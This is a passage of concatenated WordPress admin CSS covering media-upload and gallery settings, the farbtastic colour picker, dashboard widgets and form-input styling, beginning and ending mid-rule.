	border: 1px solid #c3c4c7;
	background: #f6f7f7;
}

#filter .tablenav select {
	border-style: solid;
	border-width: 1px;
	padding: 2px;
	vertical-align: top;
	width: auto;
}

#media-upload .del-attachment {
	display: none;
	margin: 5px 0;
}

.menu_order {
	float: left;
	font-size: 11px;
	margin: 8px 10px 0;
}

.menu_order_input {
	border: 1px solid #dcdcde;
	font-size: 10px;
	padding: 1px;
	width: 23px;
}

.ui-sortable-helper {
	background-color: #fff;
	border: 1px solid #a7aaad;
	opacity: 0.6;
	filter: alpha(opacity=60);
}

#media-upload th.order-head {
	width: 20%;
	text-align: center;
}

#media-upload th.actions-head {
	width: 25%;
	text-align: center;
}

#media-upload a.wp-post-thumbnail {
	margin: 0 20px;
}

#media-upload .widefat {
	border-style: solid solid none;
}

.sorthelper {
	height: 37px;
	width: 623px;
	display: block;
}

#gallery-settings th.label {
	width: 160px;
}

#gallery-settings #basic th.label {
	padding: 5px 0 5px 5px;
}

#gallery-settings .title {
	clear: both;
	padding: 0 0 3px;
	font-size: 1.6em;
	border-bottom: 1px solid #dcdcde;
}

h3.media-title {
	font-size: 1.6em;
}

h4.media-sub-title {
	border-bottom: 1px solid #dcdcde;
	font-size: 1.3em;
	margin: 12px;
	padding: 0 0 3px;
}

#gallery-settings .title,
h3.media-title,
h4.media-sub-title {
	font-family: Georgia,"Times New Roman",Times,serif;
	font-weight: 400;
	color: #50575e;
}

#gallery-settings .describe td {
	vertical-align: middle;
	height: 3em;
}

#gallery-settings .describe th.label {
	padding-top: .5em;
	text-align: right;
}

#gallery-settings .describe {
	padding: 5px;
	width: 100%;
	clear: both;
	cursor: default;
	background: #fff;
}

#gallery-settings .describe select {
	width: 15em;
}

#gallery-settings .describe select option,
#gallery-settings .describe td {
	padding: 0;
}

#gallery-settings label,
#gallery-settings legend {
	font-size: 13px;
	color: #3c434a;
	margin-left: 15px;
}

#gallery-settings .align .field label {
	margin: 0 3px 0 1em;
}

#gallery-settings p.ml-submit {
	border-top: 1px solid #dcdcde;
}

#gallery-settings select#columns {
	width: 6em;
}

#sort-buttons {
	font-size: 0.8em;
	margin: 3px 0 -8px 25px;
	text-align: left;
	max-width: 625px;
}

#sort-buttons a {
	text-decoration: none;
}

#sort-buttons #asc,
#sort-buttons #showall {
	padding-right: 5px;
}

#sort-buttons span {
	margin-left: 25px;
}

p.media-types {
	margin: 0;
	padding: 1em;
}

p.media-types-required-info {
	padding-top: 0;
}

tr.not-image {
	display: none;
}

table.not-image tr.not-image {
	display: table-row;
}

table.not-image tr.image-only {
	display: none;
}

/**
 * HiDPI Displays
 */
@media print,
  (min-resolution: 120dpi) {

	.image-align-none-label {
		background-image: url(../images/align-none-2x.png?ver=20120916);
		background-size: 21px 15px;
	}

	.image-align-left-label {
		background-image: url(../images/align-left-2x.png?ver=20120916);
		background-size: 22px 15px;
	}

	.image-align-center-label {
		background-image: url(../images/align-center-2x.png?ver=20120916);
		background-size: 21px 15px;
	}

	.image-align-right-label {
		background-image: url(../images/align-right-2x.png?ver=20120916);
		background-size: 22px 15px;
	}
}
/*! This file is auto-generated */
.farbtastic{position:relative}.farbtastic *{position:absolute;cursor:crosshair}.farbtastic,.farbtastic .wheel{width:195px;height:195px}.farbtastic .color,.farbtastic .overlay{top:47px;left:47px;width:101px;height:101px}.farbtastic .wheel{background:url(../images/wheel.png) no-repeat;width:195px;height:195px}.farbtastic .overlay{background:url(../images/mask.png) no-repeat}.farbtastic .marker{width:17px;height:17px;margin:-8px 0 0 -8px;overflow:hidden;background:url(../images/marker.png) no-repeat}/*! This file is auto-generated */
#wpbody-content #dashboard-widgets.columns-1 .postbox-container{width:100%}#wpbody-content #dashboard-widgets.columns-2 .postbox-container{width:49.5%}#wpbody-content #dashboard-widgets.columns-2 #postbox-container-2,#wpbody-content #dashboard-widgets.columns-2 #postbox-container-3,#wpbody-content #dashboard-widgets.columns-2 #postbox-container-4{float:right;width:50.5%}#wpbody-content #dashboard-widgets.columns-3 .postbox-container{width:33.5%}#wpbody-content #dashboard-widgets.columns-3 #postbox-container-1{width:33%}#wpbody-content #dashboard-widgets.columns-3 #postbox-container-3,#wpbody-content #dashboard-widgets.columns-3 #postbox-container-4{float:right}#wpbody-content #dashboard-widgets.columns-4 .postbox-container{width:25%}#dashboard-widgets .postbox-container{width:25%}#dashboard-widgets-wrap .columns-3 #postbox-container-4 .empty-container{border:none!important}#dashboard-widgets-wrap{overflow:hidden;margin:0 -8px}#dashboard-widgets .postbox .inside{margin-bottom:0}#dashboard-widgets .meta-box-sortables{display:flow-root;min-height:100px;margin:0 8px 20px}#dashboard-widgets .postbox-container .empty-container{outline:3px dashed #c3c4c7;height:250px}.is-dragging-metaboxes #dashboard-widgets .meta-box-sortables{outline:3px dashed #646970;display:flow-root}#dashboard-widgets .postbox-container .empty-container:after{content:attr(data-emptystring);margin:auto;position:absolute;top:50%;left:0;right:0;transform:translateY(-50%);padding:0 2em;text-align:center;color:#646970;font-size:16px;line-height:1.5;display:none}#the-comment-list td.comment p.comment-author{margin-top:0;margin-left:0}#the-comment-list p.comment-author img{float:left;margin-right:8px}#the-comment-list p.comment-author strong a{border:none}#the-comment-list td{vertical-align:top}#the-comment-list td.comment{word-wrap:break-word}#the-comment-list td.comment img{max-width:100%}.index-php #screen-meta-links{margin:0 20px 8px 0}.welcome-panel{position:relative;overflow:auto;margin:16px 0;background-color:#151515;font-size:14px;line-height:1.3;clear:both}.welcome-panel h2{margin:0;font-size:48px;font-weight:600;line-height:1.25}.welcome-panel h3{margin:0;font-size:20px;font-weight:400;line-height:1.4}.welcome-panel p{font-size:inherit;line-height:inherit}.welcome-panel-header{position:relative;color:#fff}.welcome-panel-header-image{position:absolute!important;top:0;right:0;bottom:0;left:0;z-index:0!important;overflow:hidden}.welcome-panel-header-image svg{display:block;margin:auto;width:100%;height:100%}.rtl .welcome-panel-header-image svg{transform:scaleX(-1)}.welcome-panel-header *{color:inherit;position:relative;z-index:1}.welcome-panel-header a:focus,.welcome-panel-header a:hover{color:inherit;text-decoration:none}.welcome-panel .welcome-panel-close:focus,.welcome-panel-header a:focus{outline-color:currentColor;outline-offset:1px;box-shadow:none}.welcome-panel-header p{margin:.5em 0 0;font-size:20px;line-height:1.4}.welcome-panel .welcome-panel-close{position:absolute;top:10px;right:10px;padding:10px 15px 10px 24px;font-size:13px;line-height:1.23076923;text-decoration:none;z-index:1}.welcome-panel .welcome-panel-close:before{position:absolute;top:8px;left:0;transition:all .1s ease-in-out;content:'\f335';font-size:24px;color:#fff}.welcome-panel .welcome-panel-close{color:#fff}.welcome-panel .welcome-panel-close:focus,.welcome-panel .welcome-panel-close:focus::before,.welcome-panel .welcome-panel-close:hover,.welcome-panel .welcome-panel-close:hover::before{color:#fff972}.wp-core-ui .welcome-panel .button.button-hero{margin:15px 13px 3px 0;padding:12px 36px;height:auto;line-height:1.4285714;white-space:normal}.welcome-panel-content{min-height:400px;display:flex;flex-direction:column;justify-content:space-between}.welcome-panel-header{box-sizing:border-box;margin-left:auto;margin-right:auto;max-width:1500px;width:100%;padding:48px 0 80px 48px}.welcome-panel .welcome-panel-column-container{box-sizing:border-box;width:100%;clear:both;display:grid;z-index:1;padding:48px;grid-template-columns:repeat(3,1fr);gap:32px;align-self:flex-end;background:#fff}[class*=welcome-panel-icon]{height:60px;width:60px;background-position:center;background-size:24px 24px;background-repeat:no-repeat;border-radius:100%}.welcome-panel-column>svg{margin-top:4px}.welcome-panel-column{display:grid;grid-template-columns:min-content 1fr;gap:24px}.welcome-panel-icon-pages{background-image:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 24 24'%3E%3Cpath fill='%23fff' d='M7 13.8h6v-1.5H7v1.5zM18 16V4c0-1.1-.9-2-2-2H6c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2zM5.5 16V4c0-.3.2-.5.5-.5h10c.3 0 .5.2.5.5v12c0 .3-.2.5-.5.5H6c-.3 0-.5-.2-.5-.5zM7 10.5h8V9H7v1.5zm0-3.3h8V5.8H7v1.4zM20.2 6v13c0 .7-.6 1.2-1.2 1.2H8v1.5h11c1.5 0 2.7-1.2 2.7-2.8V6h-1.5z' /%3E%3C/svg%3E")}.welcome-panel-icon-layout{background-image:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 24 24'%3E%3Cpath fill='%23fff' d='M18 5.5H6a.5.5 0 00-.5.5v3h13V6a.5.5 0 00-.5-.5zm.5 5H10v8h8a.5.5 0 00.5-.5v-7.5zm-10 0h-3V18a.5.5 0 00.5.5h2.5v-8zM6 4h12a2 2 0 012 2v12a2 2 0 01-2 2H6a2 2 0 01-2-2V6a2 2 0 012-2z' /%3E%3C/svg%3E")}.welcome-panel-icon-styles{background-image:url("data:image/svg+xml,%3Csvg viewBox='0 0 24 24' xmlns='http://www.w3.org/2000/svg'%3E%3Cpath fill='%23fff' d='M12 4c-4.4 0-8 3.6-8 8v.1c0 4.1 3.2 7.5 7.2 7.9h.8c4.4 0 8-3.6 8-8s-3.6-8-8-8zm0 15V5c3.9 0 7 3.1 7 7s-3.1 7-7 7z' /%3E%3C/svg%3E")}.welcome-panel .welcome-widgets-menus{line-height:1.14285714}.welcome-panel .welcome-panel-column ul{margin:.8em 1em 1em 0}.welcome-panel li{font-size:14px}.welcome-panel li a{text-decoration:none}.welcome-panel .welcome-panel-column li{line-height:1.14285714;list-style-type:none;padding:0 0 8px}.welcome-panel .welcome-icon{background:0 0!important}#dashboard_right_now .search-engines-info:before,#dashboard_right_now li a:before,#dashboard_right_now li span:before,.welcome-panel .welcome-icon:before{color:#646970;font:normal 20px/1 dashicons;speak:never;display:inline-block;padding:0 10px 0 0;position:relative;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;text-decoration:none!important;vertical-align:top}.welcome-panel .welcome-edit-page:before,.welcome-panel .welcome-write-blog:before{content:"\f119";top:-3px}.welcome-panel .welcome-add-page:before{content:"\f132";top:-1px}.welcome-panel .welcome-setup-home:before{content:"\f102";top:-1px}.welcome-panel .welcome-view-site:before{content:"\f115";top:-2px}.welcome-panel .welcome-widgets-menus:before{content:"\f116";top:-2px}.welcome-panel .welcome-widgets:before{content:"\f538";top:-2px}.welcome-panel .welcome-menus:before{content:"\f163";top:-2px}.welcome-panel .welcome-comments:before{content:"\f117";top:-1px}.welcome-panel .welcome-learn-more:before{content:"\f118";top:-1px}#dashboard_right_now .search-engines-info:before,#dashboard_right_now li a:before,#dashboard_right_now li>span:before{content:"\f159";padding:0 5px 0 0}#dashboard_right_now .page-count a:before,#dashboard_right_now .page-count span:before{content:"\f105"}#dashboard_right_now .post-count a:before,#dashboard_right_now .post-count span:before{content:"\f109"}#dashboard_right_now .comment-count a:before{content:"\f101"}#dashboard_right_now .comment-mod-count a:before{content:"\f125"}#dashboard_right_now .storage-count a:before{content:"\f104"}#dashboard_right_now .storage-count.warning a:before{content:"\f153"}#dashboard_right_now .search-engines-info:before{content:"\f348"}.community-events-errors{margin:0}.community-events-loading{padding:10px 12px 8px}.community-events{margin-bottom:6px;padding:0 12px}.community-events .spinner{float:none;margin:5px 2px 0;vertical-align:top}.community-events form[aria-hidden=true],.community-events-errors [aria-hidden=true],.community-events-errors[aria-hidden=true],.community-events-loading[aria-hidden=true],.community-events[aria-hidden=true]{display:none}.community-events .activity-block:first-child,.community-events h2{padding-top:12px;padding-bottom:10px}.community-events-form{margin:15px 0 5px}.community-events-form .regular-text{width:40%;height:29px;margin:0;vertical-align:top}.community-events li.event-none{border-left:4px solid #72aee6}#dashboard-widgets .community-events li.event-none a{text-decoration:underline}.community-events-form label{display:inline-block;vertical-align:top;line-height:2.15384615;height:28px}.community-events .activity-block>p{margin-bottom:0;display:inline}.community-events-toggle-location{vertical-align:middle}#community-events-submit{margin-left:3px;margin-right:3px}#dashboard-widgets .community-events-cancel.button-link{vertical-align:top;line-height:2;height:28px;text-decoration:underline}.community-events ul{background-color:#f6f7f7;padding-left:0;padding-right:0;padding-bottom:0}.community-events li{margin:0;padding:8px 12px;color:#2c3338}.community-events li:first-child{border-top:1px solid #f0f0f1}.community-events li~li{border-top:1px solid #f0f0f1}.community-events .activity-block.last{border-bottom:1px solid #f0f0f1;padding-top:0;margin-top:-1px}.community-events .event-info{display:block}.community-events .ce-separator::before{content:"\2022"}.event-icon{height:18px;padding-right:10px;width:18px;display:none}.event-icon:before{color:#646970;font-size:18px}.event-meetup .event-icon:before{content:"\f484"}.event-wordcamp .event-icon:before{content:"\f486"}.community-events .event-title{font-weight:600;display:block}.community-events .event-date,.community-events .event-time{display:block}.community-events-footer{margin-top:0;margin-bottom:0;padding:12px;border-top:1px solid #f0f0f1;color:#dcdcde}.community-events-footer .screen-reader-text{height:inherit;white-space:nowrap}#dashboard_primary .inside{margin:0;padding:0}#dashboard_primary .widget-loading{padding:12px 12px 0;margin-bottom:1em!important}#dashboard_primary .inside .notice{margin:0}body #dashboard-widgets .postbox form .submit{margin:0}.dashboard-widget-control-form p{margin-top:0}.rssSummary{color:#646970;margin-top:4px}#dashboard_primary .rss-widget{font-size:13px;padding:0 12px}#dashboard_primary .rss-widget:last-child{border-bottom:none;padding-bottom:8px}#dashboard_primary .rss-widget a{font-weight:400}#dashboard_primary .rss-widget span,#dashboard_primary .rss-widget span.rss-date{color:#646970}#dashboard_primary .rss-widget span.rss-date{margin-left:12px}#dashboard_primary .rss-widget ul li{padding:4px 0;margin:0}#dashboard_right_now ul{margin:0;display:inline-block;width:100%}#dashboard_right_now li{width:50%;float:left;margin-bottom:10px}#dashboard_right_now .inside{padding:0}#dashboard_right_now .main{padding:0 12px 11px}#dashboard_right_now .main p{margin:0}#dashboard_right_now #wp-version-message .button{float:right;position:relative;top:-5px;margin-left:5px}#dashboard_right_now p.search-engines-info{margin:1em 0}.mu-storage{overflow:hidden}#dashboard-widgets h3.mu-storage{margin:0 0 10px;padding:0;font-size:14px;font-weight:400}#dashboard_right_now .sub{color:#50575e;background:#f6f7f7;border-top:1px solid #f0f0f1;padding:10px 12px 6px}#dashboard_right_now .sub h3{color:#50575e}#dashboard_right_now .sub p{margin:0 0 1em}#dashboard_right_now .warning a:before,#dashboard_right_now .warning span:before{color:#d63638}#dashboard_quick_press .inside{margin:0;padding:0}#dashboard_quick_press div.updated{margin-bottom:10px;border:1px solid #f0f0f1;border-width:1px 1px 1px 0}#dashboard_quick_press form{margin:12px}#dashboard_quick_press .drafts{padding:10px 0 0}#dashboard_quick_press label{display:inline-block;margin-bottom:4px}#dashboard_quick_press input,#dashboard_quick_press textarea{box-sizing:border-box;margin:0}#dashboard-widgets .postbox form .submit{margin:-39px 0;float:right}#description-wrap{margin-top:12px}#quick-press textarea#content{min-height:90px;max-height:1300px;margin:0 0 8px;padding:6px 7px;resize:none}.js #dashboard_quick_press .drafts{border-top:1px solid #f0f0f1}#dashboard_quick_press .drafts abbr{border:none}#dashboard_quick_press .drafts .view-all{float:right;margin:0 12px 0 0}#dashboard_primary a.rsswidget{font-weight:400}#dashboard_quick_press .drafts ul{margin:0 12px}#dashboard_quick_press .drafts li{margin-bottom:1em}#dashboard_quick_press .drafts li time{color:#646970}#dashboard_quick_press .drafts p{margin:0;word-wrap:break-word}#dashboard_quick_press .draft-title{word-wrap:break-word}#dashboard_quick_press .draft-title a,#dashboard_quick_press .draft-title time{margin:0 5px 0 0}#dashboard-widgets h3,#dashboard-widgets h4,#dashboard_quick_press .drafts h2{margin:0 12px 8px;padding:0;font-size:14px;font-weight:400;color:#1d2327}#dashboard_quick_press .drafts h2{line-height:inherit}#dashboard-widgets .inside h3,#dashboard-widgets .inside h4{margin-left:0;margin-right:0}#dashboard_activity .comment-meta span.approve:before{content:"\f227";font:20px/.5 dashicons;margin-left:5px;vertical-align:middle;position:relative;top:-1px;margin-right:2px}#dashboard_activity .inside{margin:0;padding-bottom:0}#dashboard_activity .no-activity{overflow:hidden;padding:12px 0;text-align:center}#dashboard_activity .no-activity p{color:#646970;font-size:16px}#dashboard_activity .subsubsub{float:none;border-top:1px solid #f0f0f1;margin:0 -12px;padding:8px 12px 4px}#dashboard_activity .subsubsub a .count,#dashboard_activity .subsubsub a.current .count{color:#646970}#future-posts ul,#published-posts ul{margin:8px -12px 0 -12px}#future-posts li,#published-posts li{display:grid;grid-template-columns:clamp(160px,calc(2vw + 140px),200px) auto;column-gap:10px;color:#646970;padding:4px 12px}#future-posts li:nth-child(odd),#published-posts li:nth-child(odd){background-color:#f6f7f7}.activity-block{border-bottom:1px solid #f0f0f1;margin:0 -12px 6px -12px;padding:8px 12px 4px}.activity-block:last-child{border-bottom:none;margin-bottom:0}.activity-block .subsubsub li{color:#dcdcde}#activity-widget #the-comment-list div.undo,#activity-widget #the-comment-list tr.undo{background:0 0;padding:6px 0;margin-left:12px}#activity-widget #the-comment-list .comment-item{background:#f6f7f7;padding:12px;position:relative}#activity-widget #the-comment-list .avatar{position:absolute;top:12px}#activity-widget #the-comment-list .dashboard-comment-wrap.has-avatar{padding-left:63px}#activity-widget #the-comment-list .dashboard-comment-wrap blockquote{margin:1em 0}#activity-widget #the-comment-list .comment-item p.row-actions{margin:4px 0 0}#activity-widget #the-comment-list .comment-item:first-child{border-top:1px solid #f0f0f1}#activity-widget #the-comment-list .unapproved{background-color:#fcf9e8}#activity-widget #the-comment-list .unapproved:before{content:"";display:block;position:absolute;left:0;top:0;bottom:0;background:#d63638;width:4px}#activity-widget #the-comment-list .spam-undo-inside .avatar,#activity-widget #the-comment-list .trash-undo-inside .avatar{position:relative;top:0}#dashboard-widgets #dashboard_browser_nag.postbox .inside{margin:10px}.postbox .button-link .edit-box{display:none}.edit-box{opacity:0}.edit-box:focus,.hndle:hover .edit-box{opacity:1}#dashboard-widgets form .input-text-wrap input{width:100%}#dashboard-widgets form .textarea-wrap textarea{width:100%}#dashboard-widgets .postbox form .submit{float:none;margin:.5em 0 0;padding:0;border:none}#dashboard-widgets-wrap #dashboard-widgets .postbox form .submit #publish{min-width:0}#dashboard-widgets .button-link,#dashboard-widgets li a,.community-events-footer a{text-decoration:none}#dashboard-widgets h2 a{text-decoration:underline}#dashboard-widgets .hndle .postbox-title-action{float:right;line-height:1.2}#dashboard_plugins h5{font-size:14px}#latest-comments #the-comment-list{position:relative;margin:0 -12px}#activity-widget #the-comment-list .comment,#activity-widget #the-comment-list .pingback{box-shadow:inset 0 1px 0 rgba(0,0,0,.06)}#activity-widget .comments #the-comment-list .alt{background-color:transparent}#activity-widget #latest-comments #the-comment-list .comment-item{min-height:50px;margin:0;padding:12px}#latest-comments #the-comment-list .pingback{padding-left:12px!important}#latest-comments #the-comment-list .comment-item:first-child{border-top:none}#latest-comments #the-comment-list .comment-meta{line-height:1.5;margin:0;color:#646970}#latest-comments #the-comment-list .comment-meta cite{font-style:normal;font-weight:400}#latest-comments #the-comment-list .comment-item blockquote,#latest-comments #the-comment-list .comment-item blockquote p{margin:0;padding:0;display:inline}#latest-comments #the-comment-list .comment-item p.row-actions{margin:3px 0 0;padding:0;font-size:13px}.rss-widget ul{margin:0;padding:0;list-style:none}a.rsswidget{font-size:13px;font-weight:600;line-height:1.4}.rss-widget ul li{line-height:1.5;margin-bottom:12px}.rss-widget span.rss-date{color:#646970;font-size:13px;margin-left:3px}.rss-widget cite{display:block;text-align:right;margin:0 0 1em;padding:0}.rss-widget cite:before{content:"\2014"}.dashboard-comment-wrap{word-wrap:break-word}#dashboard_browser_nag a.update-browser-link{font-size:1.2em;font-weight:600}#dashboard_browser_nag a{text-decoration:underline}#dashboard_browser_nag p.browser-update-nag.has-browser-icon{padding-right:128px}#dashboard_browser_nag .browser-icon{margin-top:-32px}#dashboard_browser_nag.postbox{background-color:#b32d2e;background-image:none;border-color:#b32d2e;color:#fff;box-shadow:none}#dashboard_browser_nag.postbox h2{border-bottom-color:transparent;background:transparent none;color:#fff;box-shadow:none}#dashboard_browser_nag a{color:#fff}#dashboard_browser_nag.postbox .postbox-header{border-color:transparent}#dashboard_browser_nag h2.hndle{border:none;font-weight:600;font-size:20px;padding-top:10px}.postbox#dashboard_browser_nag p a.dismiss{font-size:14px}.postbox#dashboard_browser_nag a,.postbox#dashboard_browser_nag p,.postbox#dashboard_browser_nag p.browser-update-nag{font-size:16px}#dashboard_php_nag .dashicons-warning{color:#dba617;padding-right:6px}#dashboard_php_nag.php-no-security-updates .dashicons-warning,#dashboard_php_nag.php-version-lower-than-future-minimum .dashicons-warning{color:#d63638}#dashboard_php_nag h2{display:inline-block}#dashboard_php_nag p{margin:12px 0}#dashboard_php_nag .button .dashicons-external{line-height:25px}.bigger-bolder-text{font-weight:600;font-size:14px}@media only screen and (min-width:1600px){.welcome-panel .welcome-panel-column-container{display:flex;justify-content:center}.welcome-panel-column{width:100%;max-width:460px}}@media only screen and (max-width:799px){#wpbody-content #dashboard-widgets .postbox-container{width:100%}#dashboard-widgets .meta-box-sortables{min-height:0}.is-dragging-metaboxes #dashboard-widgets .meta-box-sortables{min-height:100px}#dashboard-widgets .meta-box-sortables.empty-container{margin-bottom:0}}@media only screen and (min-width:800px) and (max-width:1499px){#wpbody-content #dashboard-widgets .postbox-container{width:49.5%}#wpbody-content #dashboard-widgets #postbox-container-2,#wpbody-content #dashboard-widgets #postbox-container-3,#wpbody-content #dashboard-widgets #postbox-container-4{float:right;width:50.5%}#dashboard-widgets #postbox-container-3 .empty-container,#dashboard-widgets #postbox-container-4 .empty-container{outline:0;height:0;min-height:0;margin-bottom:0}#dashboard-widgets #postbox-container-3 .empty-container:after,#dashboard-widgets #postbox-container-4 .empty-container:after{display:none}#wpbody #wpbody-content #dashboard-widgets.columns-1 .postbox-container{width:100%}#wpbody #dashboard-widgets .metabox-holder.columns-1 .postbox-container .empty-container{outline:0;height:0;min-height:0;margin-bottom:0}.index-php .columns-prefs,.index-php .screen-layout{display:block}.columns-prefs .columns-prefs-3,.columns-prefs .columns-prefs-4{display:none}#dashboard-widgets .postbox-container .empty-container:after{display:block}}@media only screen and (min-width:1500px) and (max-width:1800px){#wpbody-content #dashboard-widgets .postbox-container{width:33.5%}#wpbody-content #dashboard-widgets #postbox-container-1{width:33%}#wpbody-content #dashboard-widgets #postbox-container-3,#wpbody-content #dashboard-widgets #postbox-container-4{float:right}#dashboard-widgets #postbox-container-4 .empty-container{outline:0;height:0;min-height:0;margin-bottom:0}#dashboard-widgets #postbox-container-4 .empty-container:after{display:none}#dashboard-widgets .postbox-container .empty-container:after{display:block}}@media only screen and (min-width:1801px){#dashboard-widgets .postbox-container .empty-container:after{display:block}}@media screen and (max-width:870px){.welcome-panel .welcome-panel-column li{display:inline-block;margin-right:13px}.welcome-panel .welcome-panel-column ul{margin:.4em 0 0}}@media screen and (max-width:1180px) and (min-width:783px){.welcome-panel-column{grid-template-columns:1fr}.welcome-panel-column>svg,[class*=welcome-panel-icon]{display:none}}@media screen and (max-width:782px){.welcome-panel .welcome-panel-column-container{grid-template-columns:1fr;box-sizing:border-box;padding:32px;width:100%}.welcome-panel .welcome-panel-column-content{max-width:520px}.welcome-panel .welcome-panel-close{overflow:hidden;text-indent:40px;white-space:nowrap;width:20px;height:20px;padding:5px;top:5px;right:5px}.welcome-panel .welcome-panel-close::before{top:5px;left:-35px}#dashboard-widgets h2{padding:12px}#dashboard_recent_comments #the-comment-list .comment-item .avatar{height:30px;width:30px;margin:4px 10px 5px 0}.community-events-toggle-location{height:38px;vertical-align:baseline}.community-events-form .regular-text{height:32px}#community-events-submit{margin-bottom:0;vertical-align:top}#dashboard-widgets .community-events-cancel.button-link,.community-events-form label{font-size:14px;line-height:normal;height:auto;padding:6px 0;border:1px solid transparent}.community-events .spinner{margin-top:7px}}@media screen and (max-width:600px){.welcome-panel-header{padding:32px 32px 64px}.welcome-panel-header-image{display:none}}@media screen and (max-width:480px){.welcome-panel-column{gap:16px}}@media screen and (max-width:360px){.welcome-panel-column{grid-template-columns:1fr}.welcome-panel-column>svg,[class*=welcome-panel-icon]{display:none}}@media screen and (min-width:355px){.community-events .event-info{display:table-row;float:left;max-width:59%}.event-icon,.event-icon[aria-hidden=true]{display:table-cell}.event-info-inner{display:table-cell}.community-events .event-date-time{float:right;max-width:39%}.community-events .event-date,.community-events .event-time{text-align:right}}/* Include margin and padding in the width calculation of input and textarea. */
input,
select,
textarea,
button {
	box-sizing: border-box;
	font-family: inherit;
	font-size: inherit;
	font-weight: inherit;
}

textarea,
input {
	font-size: 14px;
}

textarea {
	overflow: auto;
	padding: 2px 6px;
	/* inherits font size 14px */
	line-height: 1.42857143; /* 20px */
	resize: vertical;
}

input,
select {
	margin: 0 1px;
}

textarea.code {
	padding: 4px 6px 1px;
}

input[type="text"],
input[type="password"],
input[type="color"],
input[type="date"],
input[type="datetime"],
input[type="datetime-local"],
input[type="email"],
input[type="month"],
input[type="number"],
input[type="search"],
input[type="tel"],
input[type="time"],
input[type="url"],
input[type="week"],
select,
textarea {
	box-shadow: 0 0 0 transparent;
	border-radius: 4px;
	border: 1px solid #8c8f94;
	background-color: #fff;
	color: #2c3338;
}

input[type="text"],
input[type="password"],
input[type="date"],
input[type="datetime"],
input[type="datetime-local"],
input[type="email"],
input[type="month"],
input[type="number"],
input[type="search"],
input[type="tel"],
input[type="time"],
input[type="url"],
input[type="week"] {
	padding: 0 8px;
	/* inherits font size 14px */
	line-height: 2; /* 28px */
	/* Only necessary for IE11 */
	min-height: 30px;
}

::-webkit-datetime-edit {
	/* inherits font size 14px */
	line-height: 1.85714286; /* 26px */
}

input[type="text"]:focus,
input[type="password"]:focus,
input[type="color"]:focus,
input[type="date"]:focus,
input[type="datetime"]:focus,
input[type="datetime-local"]:focus,
input[type="email"]:focus,
input[type="month"]:focus,
input[type="number"]:focus,
input[type="search"]:focus,
input[type="tel"]:focus,
input[type="time"]:focus,
input[type="url"]:focus,
input[type="week"]:focus,
input[type="checkbox"]:focus,
input[type="radio"]:focus,
select:focus,
textarea:focus {
	border-color: #2271b1;
	box-shadow: 0 0 0 1px #2271b1;
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
}

/* rtl:ignore */
input[type="email"],
input[type="url"] {
	direction: ltr;
}

input[type="checkbox"],
input[type="radio"] {
	border: 1px solid #8c8f94;
	border-radius: 4px;
	background: #fff;
	color: #50575e;
	clear: none;
	cursor: pointer;
	display: inline-block;
	line-height: 0;
	height: 1rem;
	margin: -0.25rem 0.25rem 0 0;
	outline: 0;
	padding: 0 !important;
	text-align: center;
	vertical-align: middle;
	width: 1rem;
	min-width: 1rem;
	-webkit-appearance: none;
	box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.1);
	transition: .05s border-color ease-in-out;
}

input[type="radio"]:checked + label:before {
	color: #8c8f94;
}

.wp-core-ui input[type="reset"]:hover,
.wp-core-ui input[type="reset"]:active {
	color: #135e96;
}

td > input[type="checkbox"],
.wp-admin p input[type="checkbox"],
.wp-admin p input[type="radio"] {
	margin-top: 0;
}

.wp-admin p label input[type="checkbox"] {
	margin-top: -4px;
}

.wp-admin p label input[type="radio"] {
	margin-top: -2px;
}

input[type="radio"] {
	border-radius: 50%;
	margin-right: 0.25rem;
	/* 10px not sure if still necessary, comes from the MP6 redesign in r26072 */
	line-height: 0.71428571;
}

input[type="checkbox"]:checked::before,
input[type="radio"]:checked::before {
	float: left;
	display: inline-block;
	vertical-align: middle;
	width: 1rem;
	speak: never;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
}

input[type="checkbox"]:checked::before {
	/* Use the "Yes" SVG Dashicon */
	content: url("data:image/svg+xml;utf8,%3Csvg%20xmlns%3D%27http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%27%20viewBox%3D%270%200%2020%2020%27%3E%3Cpath%20d%3D%27M14.83%204.89l1.34.94-5.81%208.38H9.02L5.78%209.67l1.34-1.25%202.57%202.4z%27%20fill%3D%27%233582c4%27%2F%3E%3C%2Fsvg%3E");
	margin: -0.1875rem 0 0 -0.25rem;
	height: 1.3125rem;
	width: 1.3125rem;
}

input[type="radio"]:checked::before {
	content: "";
	border-radius: 50%;
	width: 0.5rem; /* 8px */
	height: 0.5rem; /* 8px */
	margin: 0.1875rem; /* 3px */
	background-color: #3582c4;
	/* 16px not sure if still necessary, comes from the MP6 redesign in r26072 */
	line-height: 1.14285714;
}

@-moz-document url-prefix() {
	input[type="checkbox"],
	input[type="radio"],
	.form-table input.tog {
		margin-bottom: -1px;
	}
}

/* Search */
input[type="search"] {
	-webkit-appearance: textfield;
}

input[type="search"]::-webkit-search-decoration {
	display: none;
}

.wp-admin input[type="file"] {
	padding: 3px 0;
	cursor: pointer;
}

input.readonly,
input[readonly],
textarea.readonly,
textarea[readonly] {
	background-color: #f0f0f1;
}

::-webkit-input-placeholder {
	color: #646970;
}

::-moz-placeholder {
	color: #646970;
	opacity: 1;
}

:-ms-input-placeholder {
	color: #646970;
}

.form-invalid .form-required,
.form-invalid .form-required:focus,
.form-invalid.form-required input,
.form-invalid.form-required input:focus,
.form-invalid.form-required select,
.form-invalid.form-required select:focus {
	border-color: #d63638 !important;
	box-shadow: 0 0 2px rgba(214, 54, 56, 0.8);
}

.form-table .form-required.form-invalid td:after {
	content: "\f534";
	font: normal 20px/1 dashicons;
	color: #d63638;
	margin-left: -25px;
	vertical-align: middle;
}

/* Adjust error indicator for password layout */
.form-table .form-required.user-pass1-wrap.form-invalid td:after {
	content: "";
}

.form-table .form-required.user-pass1-wrap.form-invalid .password-input-wrapper:after {
	content: "\f534";
	font: normal 20px/1 dashicons;
	color: #d63638;
	margin: 0 6px 0 -29px;
	vertical-align: middle;
}

.form-input-tip {
	color: #646970;
}

input:disabled,
input.disabled,
select:disabled,
select.disabled,
